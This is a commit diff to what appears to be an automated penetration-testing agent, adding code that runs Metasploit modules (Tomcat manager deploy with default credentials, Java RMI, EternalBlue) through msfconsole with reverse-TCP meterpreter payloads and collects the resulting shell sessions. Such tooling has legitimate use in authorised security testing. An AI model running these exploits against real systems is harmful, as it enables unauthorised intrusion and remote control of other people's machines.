fix: subprocess msfconsole for LHOST exploits and check all session types

Author: Kim-San04

agent/action_executor.py

@@ -159,6 +159,53 @@ def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
             source="msf_executor",
         ))
 
+    # Modules that require LHOST and use msfconsole subprocess
+    _CONSOLE_MODULES = {
+        "exploit/multi/http/tomcat_mgr_deploy": (
+            "java/meterpreter/reverse_tcp", 4444,
+            "set HttpUsername tomcat; set HttpPassword tomcat; "
+        ),
+        "exploit/multi/misc/java_rmi_server": (
+            "java/meterpreter/reverse_tcp", 4446, ""
+        ),
+        "exploit/windows/smb/ms17_010_eternalblue": (
+            "windows/x64/meterpreter/reverse_tcp", 4445, ""
+        ),
+    }
+
+    def _run_msf_via_console(self, module: str, target: str, port: str,
+                              payload: str, lhost: str, lport: int,
+                              extra_opts: str = "") -> str:
+        """Launch msfconsole non-interactively — used when LHOST must be set."""
+        cmd = (
+            f"use {module}; "
+            f"set RHOSTS {target}; "
+            f"set RPORT {port}; "
+            f"set PAYLOAD {payload}; "
+            f"set LHOST {lhost}; "
+            f"set LPORT {lport}; "
+            f"{extra_opts}"
+            f"set ExitOnSession false; "
+            f"run -z -j; "
+            f"sleep 15; "
+            f"sessions"
+        )
+        print(f"[AGENT] msfconsole: {module} → {target}:{port} LHOST={lhost}:{lport}")
+        try:
+            result = subprocess.run(
+                ["msfconsole", "-q", "-x", cmd],
+                capture_output=True, text=True, timeout=60,
+            )
+            output = result.stdout + result.stderr
+            print(f"[DEBUG] msfconsole output : {output[-500:]}")
+            return output
+        except FileNotFoundError:
+            logger.warning("msfconsole not found in PATH")
+            return ""
+        except subprocess.TimeoutExpired:
+            logger.warning("msfconsole timed out after 60s")
+            return ""
+
     def _execute_exploit(self, decision: Dict):
         host = decision.get("target_host", self.state.target)
         port = str(decision.get("target_port", 0))
@@ -173,12 +220,22 @@ def _execute_exploit(self, decision: Dict):
 
         if tool == "metasploit" and self.msf_client:
             try:
-                # Delegate entirely to Phase 3 MetasploitEngine — do NOT duplicate its logic
-                from exploitation.metasploit_engine import MetasploitEngine
-                eng = MetasploitEngine()
-                eng._client = self.msf_client   # inject existing connection
+                console_cfg = self._CONSOLE_MODULES.get(module)
+                if console_cfg:
+                    # Modules requiring LHOST → subprocess msfconsole
+                    payload, lport, extra = console_cfg
+                    lhost = self._get_local_ip()
+                    self._run_msf_via_console(module, host, port, payload, lhost, lport, extra)
+                    # Mark success optimistically and check sessions via RPC
+                    result = {"status": "success", "output": "msfconsole launched"}
+                else:
+                    # All other modules → Phase 3 MetasploitEngine via RPC
+                    from exploitation.metasploit_engine import MetasploitEngine
+                    eng = MetasploitEngine()
+                    eng._client = self.msf_client
+                    result = eng.run_module(host, port, module)
+
                 print(f"[AGENT] Exploit: {module} on {host}:{port}")
-                result = eng.run_module(host, port, module)
                 print(f"[AGENT] Result: {result.get('status')} — {result.get('output','')[:80]}")
 
                 if result.get("status") == "success":
@@ -188,11 +245,13 @@ def _execute_exploit(self, decision: Dict):
                         data={"host": host, "port": port, "module": module},
                         source="executor",
                     ))
-                    # Check sessions after Phase 3 run_module (it already waited post_sleep)
-                    time.sleep(3)
+                    # Accept ALL session types (shell + meterpreter)
+                    time.sleep(5)
                     sessions = self.msf_client.sessions.list or {}
-                    print(f"[DEBUG] Sessions après exploit : {sessions}")
+                    print(f"[DEBUG] Toutes sessions : {sessions}")
                     for sid, sinfo in sessions.items():
+                        stype = sinfo.get("type", "")
+                        print(f"[DEBUG] Session {sid} type={stype} info={sinfo.get('info','')}")
                         sid_str = str(sid)
                         if sid_str not in self.state.sessions:
                             self.state.sessions[sid_str] = sinfo